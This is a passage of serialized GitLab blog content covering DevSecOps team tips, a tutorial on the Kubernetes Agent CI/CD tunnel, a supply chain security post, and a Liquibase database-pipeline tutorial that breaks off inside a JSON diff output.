language](https://blog.hslu.ch/majorobm/2019/03/15/escape-rooms-a-great-team-building-activity/).\n\n**3. Institute a security champions program**\n\nIf you can’t beat them, join them, or in this case, embed them. [Developer security champions]( https://devops.com/devops-security-champion-who-what-and-why/) are known and trusted devs who have an interest and enthusiasm for security and want to share it with colleagues. This can be a very successful strategy to actually shift security left and change mindsets forever. \n\nSecurity champions can be part of a formalized program led by the sec team, or grow in a more organic fashion via an enthusiastic dev. Either way, [experts suggest this is a solid way to bring a DevOps team to DevSecOps](/blog/why-security-champions/).\n\n_The takeaway_: Sometimes the message is heard and understood most clearly from an insider.\n\n**4. Meet dev and sec where they are**\n\nIt’s tough to hold a dev accountable for security problems when the vast majority of them aren’t taught about it in college. And sec pros don’t necessarily know how to code. So is it any surprise that two very different skill sets, degree programs, and job requirements might find it hard to come together?\n\nIt’s not surprising but it is problematic. [One solution](https://techbeacon.com/security/why-developers-dislike-security-what-you-can-do-about-it) involves both sides (figuratively) going back to school. Devs can get hands-on training in security, while sec pros learn how to code.\n\nAlso DevOps managers might consider adding [“security software developer”](https://cybersecurityguide.org/careers/security-software-developer/) to the 2022 roster. This fairly new job title has [over 1,000 postings on Glassdoor.com](https://www.glassdoor.com/Job/united-states-security-software-engineer-jobs-SRCH_IL.0,13_IN1_KO14,40.htm?clickSource=searchBox).\n\n_The takeaway_: Continuing education and cross-functional training can yield enormous benefits.\n\n**5. Make the experience real**\n\nActions can speak louder than words, so why not let developers experience, first-hand, what’s involved in a security breach (and, by implication, what the stakes are)? Invite devs to every hacking exercise planned, and get extra points if a [security red team](https://csrc.nist.gov/glossary/term/red_team_blue_team_approach) is involved. \n\t\nAt the same time, introduce security pros to the user experience (UX) team, and invite them to meet with actual users and hear real-time feedback. \n\n_The takeaway_: It’s impossible to feel anything but invested if you truly feel like you’re part of the process.\n",[4103,674,1444],{"slug":15873,"featured":6,"template":678},"want-secure-software-development-our-top-5-tips-to-bring-dev-and-sec-together","content:en-us:blog:want-secure-software-development-our-top-5-tips-to-bring-dev-and-sec-together.yml","Want Secure Software Development Our Top 5 Tips To Bring Dev And Sec Together","en-us/blog/want-secure-software-development-our-top-5-tips-to-bring-dev-and-sec-together.yml","en-us/blog/want-secure-software-development-our-top-5-tips-to-bring-dev-and-sec-together",{"_path":15879,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15880,"content":15885,"config":15890,"_id":15892,"_type":16,"title":15893,"_source":17,"_file":15894,"_stem":15895,"_extension":20},"/en-us/blog/gitops-with-gitlab-using-ci-cd",{"title":15881,"description":15882,"ogTitle":15881,"ogDescription":15882,"noIndex":6,"ogImage":12302,"ogUrl":15883,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15883,"schema":15884},"GitOps with GitLab: The CI/CD Tunnel","This is the fifth in a series of tutorials on how to do GitOps with GitLab.","https://about.gitlab.com/blog/gitops-with-gitlab-using-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitOps with GitLab: The CI/CD Tunnel\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2022-01-07\",\n      }",{"title":15881,"description":15882,"authors":15886,"heroImage":12302,"date":15887,"body":15888,"category":734,"tags":15889},[2544],"2022-01-07","\n\n_It is possible to use GitLab as a best-in-class GitOps tool, and this blog post series is going to show you how. These easy-to-follow tutorials will focus on different user problems, including provisioning, managing a base infrastructure, and deploying various third-party or custom applications on top of them. You can find the entire \"Ultimate guide to GitOps with GitLab\" tutorial series [here](/blog/the-ultimate-guide-to-gitops-with-gitlab/)._\n\nIn this article, we will see how you can access a Kubernetes cluster using GitLab CI/CD and why you might want to do it even if you aim for [GitOps](/topics/gitops/).\n\n## Prerequisites\n\nThis post assumes that you have a Kubernetes cluster connected to GitLab using the GitLab Kubernetes Agent. If you don't have such a cluster, I recommend consulting the previous posts (linked above) to have a similar setup from where we will start today.\n\n## Meet the CI/CD Tunnel\n\nThe GitLab Kubernetes Agent is not just a GitOps tool that will enable pull-based deployments and be one more application to maintain beside the other 70 in your DevOps stack. The GitLab Kubernetes Agent aims to serve the GitLab vision of providing you a single application for the whole DevSecOps lifecycle. As a result, the Agent's goal is to provide an integrated experience with every relevant GitLab feature.\n\nWhat GitLab features does the Agent integrate with today?\n\n- GitLab CI/CD\n- Container network security\n- Container host security\n- Container scanning\n\nIn this post, we will focus on the GitLab CI/CD integration. Given the power and flexibility of GitLab CI/CD, the majority of our users have been using it for years successfully and, until the Agent appeared, they often had to manually script their cluster connections and deployments into it. If the previous setup sounds familiar, I recommend checking out the Agent's CI/CD integration features, the CI/CD tunnel. The CI/CD tunnel enables a cluster connection to be used from GitLab CI/CD, thus you need only minor adjustments to your existing setup, and will receive a GitLab supported component that we are continuously expanding to provide more and more integrations on top of it.\n\nThe CI/CD tunnel is always enabled in the project where you register and configure the Agent, and the given connection can be shared by other groups and projects, too. This way, a single connection can be reused throughout the organization to save on resource and maintenance costs.\n\nGitLab automatically injects the available Kubernetes contexts into the CI/CD runner environment's `KUBECONFIG`. As a result, you can activate a context and start using it without much setup.\n\n## How to configure the CI/CD tunnel\n\nAs already mentioned, the CI/CD tunnel is always enabled in the project where you register and configure the Agent. If you would like to use the tunnel in the same repository, no configuration is needed. If you would like to share the connection with other repositories, open your agent configuration file and add the following lines:\n\n```yaml\nci_access:\n   projects:\n   - id: path/to/project\n   groups:\n   - id: path/to/group\n```\n\nChange the placeholder paths here to your project or group path. Sharing a connection with a group enables access to all the projects within that group. Once you save the configuration file, you can turn your attention to your application project repository, and use the following job to list and select an agent:\n\n```yaml\ndeploy:\n   image:\n     name: bitnami/kubectl:latest\n     entrypoint: [\"\"]\n   script:\n   - kubectl config get-contexts \n   - kubectl config use-context path/to/agent-configuration-project:your-agent-name\n```\n\n## How to install GitLab integrated applications into your cluster\n\nAs an application of the above, let's install some applications into the cluster. As various GitLab features require applications in your cluster to be installed and configured for GitLab, Gitlab provides a cluster management project template to help you get started. One can easily install these GitLab integrated applications into their clusters using this template. Let's see how to use it with the CI/CD tunnel and the Agent!\n\n### Create the cluster management project\n\nFirst, let's create a new GitLab project using the \"Cluster Management Project\" template. Open the [create new project from template page](https://gitlab.com/projects/new#create_from_template), search for \"GitLab Cluster Management\", and start a new project with that template.\n\nYou will receive a project that already contains quite a lot of things! It comes with a ready-made `.gitlab-ci.yml` file and [helmfile](https://github.com/roboll/helmfile) based setup for 11 applications that integrate with various GitLab functionalities. [Each application might require different configurations](https://docs.gitlab.com/ee/user/clusters/management_project_template.html#built-in-applications). You can read about these in the linked documentation.\n\nAs part of this article, we will install NGINX Ingress and GitLab Runners using the cluster management project.\n\n### How to share the CI/CD tunnel\n\nThis newly created project needs access to one of your clusters. Let's share an Agent's connection with this project as described above. Edit your agent configuration file and add:\n\n```yaml\nci_access:\n   projects:\n   - id: path/to/your/cluster/management/project\n```\n\n### Pick the right Kubernetes context\n\nThe CI/CD tunnel is already available from within your cluster management project. We tried to make it simple to start using a cluster connection without the need to edit `.gitlab-ci.yml`. For simple setups, you can just set a `KUBE_CONTEXT` environment variable with the path to and name of your agent.\n\nSet an environment variable under \"Settings\" / \"CI/CD\" / \"Variables\"\n\n![KUBE_CONTEXT variable setup](https://about.gitlab.com/images/blogimages/2022-01-07-gitops-with-gitlab-using-ci-cd/KUBE_CONTEXT_setting.png)\n\n### How to install NGINX Ingress\n\nWe are ready to install any of the supported applications using this agent connection! Let's start by installing NGINX Ingress as it does not require any application-specific configuration.\n\nIn your cluster management project, edit `helmfile.yaml` and uncomment the line that points to the `ingress` application. Commit the changes and wait for GitLab magic to happen!\n\nThis was really easy!\n\n### How to install GitLab Runner\n\nAs GitLab Runner is more integrated with GitLab, it needs a little bit of configuration. [The Runner should know](https://docs.gitlab.com/ee/user/infrastructure/clusters/manage/management_project_applications/runner.html#required-variables) where it can find your GitLab instance and needs a token to authenticate with GitLab.\n\nTo make it simple for you to install a Runner fleet, you can configure these as environment variables. By default the `CI_SERVER_URL` variable is used to specify the GitLab url. You can overwrite this if needed. For the token, you should create `GITLAB_RUNNER_REGISTRATION_TOKEN` as a masked and protected environment variable with the value of your Runner registration token. Feel free to use either a project or a group registration token.\n\nFinally, as with the Ingress installation, uncomment the related line in the `helmfile.yaml`.\n\n## The full potential of the cluster management project\n\nThe cluster management project you created is yours. Thus, you are free to change it, extend it, or get rid of it. In this section, I would like to share with you a few ideas of how you might benefit the most from it.\n\n### Did you move away from Helm v2 already?\n\nThe `.gitlab-ci.yml` file in the cluster management project has a job that supports users to upgrade their Helm v2 installations to v3. If you never had these applications installed through a cluster management project with Helm v2, then you don't need that job. Feel free to delete it from your CI yaml.\n\n### Extend the project with your own apps\n\nThe cluster management project is self-contained as is. You can add your own helm/helmfile based application setups to it. To get started, I recommend to check out the [helmfile](https://github.com/roboll/helmfile) README.\n\n### Stay up to date\n\nWe want you to own the cluster management project, so you can upgrade the applications independently of GitLab releases. Still, you might prefer to follow GitLab releases, too, as you can expect improvements to the cluster management project template. How can you do that?\n\nIf you followed the `kpt` based Agent installation setup, you know that `kpt` can check out a git subtree and merge local changes with upstream changes when you request an update. You can use `kpt` here, too! \n\nAs you manage the cluster management project, you can replace selected applications with their `kpt` checkouts. For example, you can start following the upstream template with:\n\n```bash\ncd applicatioins\nrm -rf prometheus\nkpt pkg get https://gitlab.com/gitlab-org/project-templates/cluster-management.git/applications/prometheus prometheus\n```\n\nand update to the most recent version by running:\n\n```bash\nkpt pkg update applications/prometheus\n```\n\n## Recap\n\nAs we have seen in this article, the GitLab Kubernetes Agent provides way more possibilities than focused GitOps tools do. Besides supporting pull-based deployments, we support GitLab users with integrating into their existing CI/CD based workflows. Moreover, a Cluster Management Project template ships with GitLab that supplements the various GitLab integrations to simplify getting started with them.\n\n## What's next\n\nBuilding on our knowledge of the CI/CD tunnel, in the next article we will look into how to use Auto DevOps with the Agent.\n\n_[Click here](/blog/the-ultimate-guide-to-gitops-with-gitlab/) for the next tutorial._\n\n\n\n\n\n",[2509,4103,1444],{"slug":15891,"featured":6,"template":678},"gitops-with-gitlab-using-ci-cd","content:en-us:blog:gitops-with-gitlab-using-ci-cd.yml","Gitops With Gitlab Using Ci Cd","en-us/blog/gitops-with-gitlab-using-ci-cd.yml","en-us/blog/gitops-with-gitlab-using-ci-cd",{"_path":15897,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15898,"content":15903,"config":15908,"_id":15910,"_type":16,"title":15911,"_source":17,"_file":15912,"_stem":15913,"_extension":20},"/en-us/blog/elite-team-strategies-to-secure-software-supply-chains",{"title":15899,"description":15900,"ogTitle":15899,"ogDescription":15900,"noIndex":6,"ogImage":15298,"ogUrl":15901,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15901,"schema":15902},"How elite DevOps teams secure the software supply chain","The time is now to integrate security into your DevOps processes - your business will be better for it.","https://about.gitlab.com/blog/elite-team-strategies-to-secure-software-supply-chains","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How elite DevOps teams secure the software supply chain\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-01-06\",\n      }",{"title":15899,"description":15900,"authors":15904,"heroImage":15298,"date":15905,"body":15906,"category":674,"tags":15907},[3281],"2022-01-06","\nIn 2022, the question is not if DevOps teams will integrate security into the software supply chain, but when and how quickly. The high-profile supply chain attacks of 2020 and 2021 have forced organizations to do more to protect themselves and their customers. Every DevOps team should strive to be an elite team in this area, aka [DevSecOps](/topics/devsecops/), as doing less will leave your software supply chains vulnerable.\n\nWhile many organizations might have been hesitant to blend security and DevOps over fears of how it would impact deployment schedules and performance, Google Cloud’s DevOps Research and Assessment (DORA) team concluded in its [“Accelerate State of DevOps 2021 Report”](https://services.google.com/fh/files/misc/state-of-devops-2021.pdf) that “development teams that embrace security see significant value driven to the business.”\n\nTeams that integrate security practices throughout their development process are 1.6 times more likely to meet or exceed their organizational goals, according to the report, which is co-sponsored by GitLab. Meantime, elite performers that met or exceeded their reliability targets were twice as likely to have security integrated into their development process.\n\nTo get to this elite level, though, security has to be baked into DevOps processes at the earliest stages. DevOps and security teams need to collaborate to ensure that they understand one another’s goals and speak the same technical language so they can develop DevSecOps best practices that effectively and efficiently satisfy those goals.\n\nOur newly released [“Guide to Software Supply Chain Security”](https://learn.gitlab.com/devsecops-aware/software-supply-chain-security-ebook) explains the urgency of protecting the supply chain now – no one wants a repeat of the SolarWinds or Colonial Pipeline attacks – and how the U.S. government will soon require many organizations to do so.\n\nWe help DevOps teams frame what it means to be elite, including moving beyond basic protections (using strong passwords, applying software patches in a timely manner, and implementing multi-factor authentication) to deploying these best practices:\n\n* Apply common controls for security and compliance\n* Automate common controls and CI/CD\n* Apply zero-trust principles\n* Inventory all tools and access, including infrastructure as code\n* Consider unconventional scale to find unconventional vulnerabilities\n* Secure containers and orchestrators\n\nThe guide also explains in detail the types of security scans that bolster supply chain security, including container scanning, dependency scanning, fuzz testing, dynamic application security testing (DAST) and static application security testing (SAST), license compliance, and secret detection.\n\nFor those unsure where they fall on the spectrum of supply chain security readiness, we’ve developed a two-minute quiz that examines how you handle the security of APIs, dependencies, and other critical areas.  Use your ranking to plot your transformation to an elite team.\n\nAs the DORA report showed, there is room for improvement across the industry as fewer than two-thirds of DevOps teams are doing these simple security practices:\n\n* 63% invite InfoSec teams early and often\n* 60% perform security reviews\n* 58% test for security\n* 54% integrate security reviews into every phase\n* 49% build pre-approved code\n\nThere is little doubt that 2022 will have more high-profile supply chain attacks, but our guide can help you develop DevOps security processes that will protect your organization and your customers.\n\n## Read more on elite teams and supply chain security here:\n- [How to make your DevOps team elite performers](/blog/how-to-make-your-devops-team-elite-performers/)\n- [How a DevOps Platform helps protect against supply chain attacks](https://about.gitlab.com/blog/devops-platform-supply-chain-attacks/)\n- [DevSecOps FAQ: Get up to speed](https://about.gitlab.com/blog/devsecops-faq-get-up-to-speed-on-this-hot-devops-area/)\n",[4103,674,1444],{"slug":15909,"featured":6,"template":678},"elite-team-strategies-to-secure-software-supply-chains","content:en-us:blog:elite-team-strategies-to-secure-software-supply-chains.yml","Elite Team Strategies To Secure Software Supply Chains","en-us/blog/elite-team-strategies-to-secure-software-supply-chains.yml","en-us/blog/elite-team-strategies-to-secure-software-supply-chains",{"_path":15915,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15916,"content":15922,"config":15928,"_id":15930,"_type":16,"title":15931,"_source":17,"_file":15932,"_stem":15933,"_extension":20},"/en-us/blog/how-to-bring-devops-to-the-database-with-gitlab-and-liquibase",{"title":15917,"description":15918,"ogTitle":15917,"ogDescription":15918,"noIndex":6,"ogImage":15919,"ogUrl":15920,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15920,"schema":15921},"How to bring DevOps to the database with GitLab and Liquibase","Learn how to build a continuous delivery pipeline for database code changes with this tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672677/Blog/Hero%20Images/metalgears_databasecasestudy.jpg","https://about.gitlab.com/blog/how-to-bring-devops-to-the-database-with-gitlab-and-liquibase","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to bring DevOps to the database with GitLab and Liquibase\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tsvi Zandany\"}],\n        \"datePublished\": \"2022-01-05\",\n      }",{"title":15917,"description":15918,"authors":15923,"heroImage":15919,"date":15925,"body":15926,"category":734,"tags":15927},[15924],"Tsvi Zandany","2022-01-05","\nIn the [Accelerate State of DevOps 2021 Report](https://cloud.google.com/devops/state-of-devops/), the DevOps Research and Assessment (DORA) team reveals “elite DevOps performers are 3.4 times more likely to exercise database change management compared to their low-performing counterparts.” Tracking changes with version control is not just for application code, though. It’s crucial for managing changes for one of your most important assets: your database.   \n\nThe GitLab DevOps platform enables database management teams to leverage CI/CD to track, manage, and deploy database changes, along with application development and automation and infrastructure as code. Database change management tools have become more advanced in recent years, supporting easier collaboration and communication, which are the keys to successful DevOps. In this blog post, I’ll take you through a tutorial using [Liquibase](https://www.liquibase.com), a tool that integrates seamlessly into the GitLab DevOps platform so your teams can deliver database code changes as fast as application code changes (without compromising on quality and security). \n\n## What is Liquibase?\n\nLiquibase was founded as an open source project over 15 years ago to address getting database changes into version control. With more than 75 million downloads, the company behind Liquibase expanded to paid editions and support to help teams release software faster and safer by bringing the database change process into their existing CI/CD automation.  \n\nIntegrating Liquibase with GitLab CI/CD enables database teams to leverage DevOps automation and best practices for database management. Liquibase helps teams build automated database scripts and gain insights into when, where, and how database changes are deployed. In this tutorial, we’ll demonstrate how to check database scripts for security and compliance issues, speed up database code reviews, perform easy rollbacks, and provide database snapshots to check for malware.\n\n## Adding Liquibase to GitLab’s DevOps Platform\n\nTeams can add Liquibase to GitLab to enable true CI/CD for the database. It’s easy to integrate Liquibase into your GitLab CI/CD pipeline. Before jumping into the tutorial, let’s take a look at the [example Liquibase GitLab project repository](https://gitlab.com/gitlab-com/alliances/liquibase/sandbox-projects/sql_server) you’ll be using.\n\n### Understanding the example Liquibase GitLab project repository\n\n![A CI/CD pipeline diagram](https://about.gitlab.com/images/blogimages/1_CICD_Pipeline_Diagram.png){: .shadow.small.center}\n\nFor this example, the GitLab CI/CD pipeline environments include DEV, QA, and PROD. This pipeline goes through several stages: build, test, deploy, and compare. A post stage comes into play later to capture a snapshot of your database in Production.\n\nStages:\n  - build\n  - test\n  - deploy\n  - compare\n\n### Liquibase commands in the pipeline\n\nFor each of the predefined jobs in the GitLab repository, you’ll be using several Liquibase commands to help manage database changes quickly and safely:\n\n- liquibase_job:\n\n  before_script:\n    - functions\n    - isUpToDate\n    - liquibase checks run\n    - liquibase updateSQL\n    - liquibase update\n    - liquibase rollbackOneUpdate --force\n    - liquibase tag $CI_PIPELINE_ID\n    - liquibase --logFile=${CI_JOB_NAME}_${CI_PIPELINE_ID}.log --logLevel=info update\n    - liquibase history\n\n  script:\n    - echo \"Comparing databases DEV --> QA\"\n    - liquibase diff\n    - liquibase --outputFile=diff_between_DEV_QA.json diff --format=json\n\n  script:\n    - echo \"Snapshotting database PROD\"\n    - liquibase --outputFile=snapshot_PROD.json snapshot --snapshotFormat=json\n\nLearn more about each of these commands in the [README file in the GitLab repository](https://gitlab.com/gitlab-com/alliances/liquibase/sandbox-projects/sql_server/-/blob/main/README.md). \n\n## Tutorial\n\nThe following tutorial demonstrates how to run Liquibase in a GitLab CI/CD pipeline. Follow along by watching this companion video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZBFhDayoRYo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Prerequisites\n\nTo start, I’m using a Linux machine with the following:\n\n- [A GitLab account](https://www.gitlab.com)\n- Self-managed Runner on a Linux machine\n- Git\n- Java 11\n- Access to a SQL Server database with multiple environments\n\n### Download, install, and configure Liquibase\n\n[Download Liquibase v4.6.1+](https://www.liquibase.org/download)\n\n[Install Liquibase](https://docs.liquibase.com/concepts/installation/installation-linux-unix-mac.html)\n\n[Get a free Liquibase Pro license key](https://www.liquibase.com/trial). No credit card is required, so you can play with all the advanced features and get support for 30 days. You’ll use this key later when you configure environment variables within GitLab.\n\nEnsure Liquibase is installed properly by running the liquibase --version command. If everything is good you’ll see the following:\n\nStarting Liquibase at 18:10:06 (version 4.6.1 #98 built at 2021-11-04 20:16+0000)\nRunning Java under /usr/lib/jvm/java-11-openjdk-11.0.13.0.8-1.el7_9.x86_64 (Version 11.0.13)\n\nLiquibase Version: 4.6.1\nLiquibase Community 4.6.1 by Liquibase\n\n### Prepare your GitLab project\n\nFork this [example GitLab project repository](https://gitlab.com/gitlab-com/alliances/liquibase/sandbox-projects/sql_server). ([See more information about forking a repository](https://docs.gitlab.com/ee/user/project/repository/forking_workflow.html).)\n\n[Create a self-managed GitLab Runner](https://docs.gitlab.com/runner/) on your Linux instance with your newly forked GitLab project.\n\nClone your newly forked project repository:\ngit clone https://gitlab.com/\u003Cusername>/sql_server.git\n\nGo to the “sql_server” project folder.\ncd sql_server\n\nRun the following command to change your git branch to staging:\ngit checkout staging\n\nConfigure the GitLab CI/CD pipeline environment variables.\n\nYour configuration will include [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/#add-a-cicd-variable-to-a-project), [Liquibase properties](https://www.liquibase.com/blog/secure-database-developer-flow-using-gitlab-pipelines), database credentials, and the Liquibase Pro trial license key so you can use all the advanced Liquibase commands.\n\nFrom the main sql_server project, go to Settings → CI/CD\n\nUnder Variables, click Expand and add the following variables:\n\n![A CI/CD pipeline diagram](https://about.gitlab.com/images/blogimages/liquibasevariables.png){: .shadow.small.center}\n\n![A CI/CD pipeline diagram](https://about.gitlab.com/images/blogimages/liquibasevariables2.png){: .shadow.small.center}\n\n### Configure the self-managed GitLab runner\n\nFrom the main sql_server project, go to Settings → CI/CD\n\nExpand the runners section, click the pencil edit icon, and add the following runner tags (comma separated):\n\ndev_db,prod_db,test_db\n\nNote: Tags are created to help choose which runner will do the job. In this example, we are associating all tags to one runner. Learn more about [configuring runners](https://docs.gitlab.com/ee/ci/runners/configure_runners.html). \n\n### Make changes to the database\n\nEdit the changelog.sql file and add the following changeset after \n\n```\nliquibase formatted sql:\n-- changeset SteveZ:createTable_salesTableZ\nCREATE TABLE salesTableZ (\n   ID int NOT NULL,\n   NAME varchar(20) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,\n   REGION varchar(20) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,\n   MARKET varchar(20) COLLATE SQL_Latin1_General_CP1_CI_AS NULL\n)\n--rollback DROP TABLE salesTableZ\nAdd, commit, and push all new database changes.\ngit add changelog.sql\ngit commit -m “added changelog id and a create table salesTableZ changeset”\ngit push -u origin staging\n```\n\n### Merge the changes and run the pipeline\n\nLet’s merge the changes from branch staging → main to trigger the pipeline to run all jobs.\n\nClick Merge requests → New merge request\n\nSelect staging as Source branch and main as Target branch\n\nClick Compare branches and continue\n\nOn the next screen, click Create merge request\n\nClick Merge to finish merging the changes\n\n![A look at the merge request](https://about.gitlab.com/images/blogimages/2_Merge_Request1.png){: .shadow.small.center}\n\n![Another look at the merge requestt](https://about.gitlab.com/images/blogimages/3_Merge_Request2.png){: .shadow.small.center}\n\nOnce these steps are completed, the code is merged into main and the pipeline is triggered to run.\n\n![The pipeline is triggered](https://about.gitlab.com/images/blogimages/4_Merge_Request3.png){: .shadow.small.center}\n\nTo see the pipeline running, click Pipelines.\n\nTo view the pipeline progress, click the pipeline ID link. You can view each job’s log output by clicking on each job name.\n\n![The pipeline in progress](https://about.gitlab.com/images/blogimages/5_Pipeline_Progress.png){: .shadow.small.center}\n\nClicking into the build-job example:\n\nThe liquibase checks run command validates the SQL for any violations.\n\n```\n57Starting Liquibase at 22:19:14 (version 4.6.1 #98 built at 2021-11-04 20:16+0000)\n58Liquibase Version: 4.6.1\n59Liquibase Pro 4.6.1 by Liquibase licensed to customersuccess until Mon Jun 27 04:59:59 UTC 2022\n60Executing Quality Checks against changelog.sql\n61Executing all checks because a valid Liquibase Pro license was found!\n62Changesets Validated:\n63  ID: createTable_salesTableZ; Author: SteveZ; File path: changelog.sql\n64Checks run against each changeset:\n65  Warn on Detection of 'GRANT' Statements\n66  Warn on Detection of 'REVOKE' Statements\n67  Warn when 'DROP TABLE' detected\n68  Warn when 'DROP COLUMN' detected\n69  Check for specific patterns in sql (Short Name: SqlCreateRoleCheck)\n70  Warn when 'TRUNCATE TABLE' detected\n71  Warn on Detection of grant that contains 'WITH ADMIN OPTION'\n72Liquibase command 'checks run' was executed successfully.\n```\n\nThe liquibase update command deploys the changes. If you choose, you can view a full report of your changes in [Liquibase Hub](https://docs.liquibase.com/tools-integrations/liquibase-hub/setup.html). The update command also saves the deployment log output file as an artifact.\n\n```\n227Starting Liquibase at 22:19:34 (version 4.6.1 #98 built at 2021-11-04 20:16+0000)\n228Liquibase Version: 4.6.1\n229Liquibase Pro 4.6.1 by Liquibase licensed to customersuccess until Mon Jun 27 04:59:59 UTC 2022\n230----------------------------------------------------------------------\n231View a report of this operation at https://hub.liquibase.com/r/I7ens13ooM\n232* IMPORTANT: New users of Hub first need to Sign In to your account\n233with the one-time password sent to your email, which also serves as\n234your username.\n235----------------------------------------------------------------------\n236Logs saved to /home/gitlab-runner/builds/3-UvD4aX/0/szandany/sql_server/build-job_405710044.log\n237Liquibase command 'update' was executed successfully.\n```\n\nHere’s what your Liquibase Hub report will look like:\n\n![The hub report, part one](https://about.gitlab.com/images/blogimages/6_LiquibaseHub_Report.png){: .shadow.small.center}\n\n![The hub report, part twot](https://about.gitlab.com/images/blogimages/7_LiquibaseHub_Report.png){: .shadow.small.center}\n\nThe Liquibase history command will show what changes are currently in the database.\n\n```\n255Starting Liquibase at 22:19:40 (version 4.6.1 #98 built at 2021-11-04 20:16+0000)\n256Liquibase Version: 4.6.1\n257Liquibase Pro 4.6.1 by Liquibase licensed to customersuccess until Mon Jun 27 04:59:59 UTC 2022\n258Liquibase History for jdbc:sqlserver://localhost:1433;sendTemporalDataTypesAsStringForBulkCopy=true;delayLoadingLobs=true;useFmtOnly=false;useBulkCopyForBatchInsert=false;cancelQueryTimeout=-1;sslProtocol=TLS;jaasConfigurationName=SQLJDBCDriver;statementPoolingCacheSize=0;serverPreparedStatementDiscardThreshold=10;enablePrepareOnFirstPreparedStatementCall=false;fips=false;socketTimeout=0;authentication=NotSpecified;authenticationScheme=nativeAuthentication;xopenStates=false;sendTimeAsDatetime=true;trustStoreType=JKS;trustServerCertificate=false;TransparentNetworkIPResolution=true;serverNameAsACE=false;sendStringParametersAsUnicode=true;selectMethod=direct;responseBuffering=adaptive;queryTimeout=-1;packetSize=8000;multiSubnetFailover=false;loginTimeout=15;lockTimeout=-1;lastUpdateCount=true;encrypt=false;disableStatementPooling=true;databaseName=DEV;columnEncryptionSetting=Disabled;applicationName=Microsoft JDBC Driver for SQL Server;applicationIntent=readwrite;\n259- Database updated at 11/9/21, 10:19 PM. Applied 1 changeset(s), DeploymentId: 6496372605\n260  liquibase-internal::1636496372758::liquibase\n261- Database updated at 11/9/21, 10:19 PM. Applied 1 changeset(s), DeploymentId: 6496375151\n262  changelog.sql::createTable_salesTableZ::SteveZ\n263Liquibase command 'history' was executed successfully.\n```\n\n### Clicking into the DEV->QA job example from your pipeline\n\nWe run the liquibase diff command to compare the DEV and QA databases. This helps detect any drift between the databases.\n\nNotice in the log output that there are some unexpected changes: \n\ntable named bad_table\n\nprocedure named bad_proc\n\n![The diff report](https://about.gitlab.com/images/blogimages/8_LiquibaseDiff_Report.png){: .shadow.small.center}\n\nBy using the [Liquibase Pro trial license key](https://www.liquibase.com/trial), you’re able to detect any stored logic objects included in the diff report. Liquibase Pro also allows you to generate a parsable JSON output file and save it as an artifact for later use.\n\n```\n137Starting Liquibase at 22:21:10 (version 4.6.1 #98 built at 2021-11-04 20:16+0000)\n138Liquibase Version: 4.6.1\n139Liquibase Pro 4.6.1 by Liquibase licensed to customersuccess until Mon Jun 27 04:59:59 UTC 2022\n140Output saved to /home/gitlab-runner/builds/3-UvD4aX/0/szandany/sql_server/diff_between_DEV_QA.json\n141Liquibase command 'diff' was executed successfully.\n```\n\nJSON artifact output file example:\n\n```\n{\n    \"diff\": {\n        \"diffFormat\": 1,\n        \"created\": \"Wed Dec 08 20:16:53 UTC 2021\",\n        \"databases\": {\n            \"reference\": {\n                \"majorVersion\": \"14\",\n                \"minorVersion\": \"00\",\n                \"name\": \"Microsoft SQL Server\",\n                \"url\": \"jdbc:sqlserver://localhost:1433;databaseName=DEV; ...\"\n            },\n            \"target\": {\n                \"majorVersion\": \"14\",\n                \"minorVersion\": \"00\",\n                \"name\": \"Microsoft SQL Server\",\n                \"url\": \"jdbc:sqlserver://localhost:1433;databaseName=QA; ...\"\n            }\n        },\n        \"unexpectedObjects\": [\n            {\n                \"unexpectedObject\": {\n                    \"name\": \"bad_proc\",\n                    \"type\": \"storedProcedure\",\n                    \"schemaName\": \"dbo\",\n                    \"catalogName\": \"QA\"\n                }\n            },\n            {\n                \"unexpectedObject\": {\n                    \"name\": \"bad_table\",\n                    \"type\": \"table\",\n                    \"schemaName\": \"dbo\",\n                    \"catalogName\": \"QA\"\n                }\n            },\n            {\n                \"unexpectedObject\": {\n                    \"name\": \"MARKET\",\n                    \"type\": \"column\",\n                    \"relationName\": \"bad_table\",\n                    \"schemaName\": \"dbo\",\n                    \"catalogName\": \"QA\"\n                }\n            },\n            {\n                \"unexpectedObject\": {\n                    \"name\": \"ID\",\n                    \"type\": \"column\",\n                    \"relationName\": \"bad_table\",\n                    \"schemaName\": \"dbo\",\n                    \"catalogName\": \"QA\"\n                }\n            },\n            {\n                \"unexpectedObject\": {\n                    \"name\": \"NAME\",\n                    \"type\": \"column\",\n                    \"relationName\": \"bad_table\",\n                    \"schemaName\": \"dbo\",\n                    \"catalogName\": \"QA\"\n                }\n            },\n            {\n                \"unexpectedObject\": {\n                    \"name\": \"REGION\",\n                    \"type\": \"column\",\n                    \"relationName\": \"bad_table\",\n                    \"schemaName\": \"dbo\",\n                    \"catalogName\": \"QA\"\n                }\n            }\n        ],\n        \"changedObjects\": [\n            {\n                \"changedObject\": {\n                    \"name\": \"QA\",\n                    \"type\": \"catalog\",\n                    \"differences\": [\n                        {\n                            \"difference\": {\n                                \"comparedValue\": \"QA\",\n                                \"field\": \"name\",\n                                \"message\": \"name changed from 'DEV' to 'QA'\",\n                                \"referenceValue\": \"DEV\"\n                            }\n                        }\n                    ]\n                }\n            }\n        ]\n    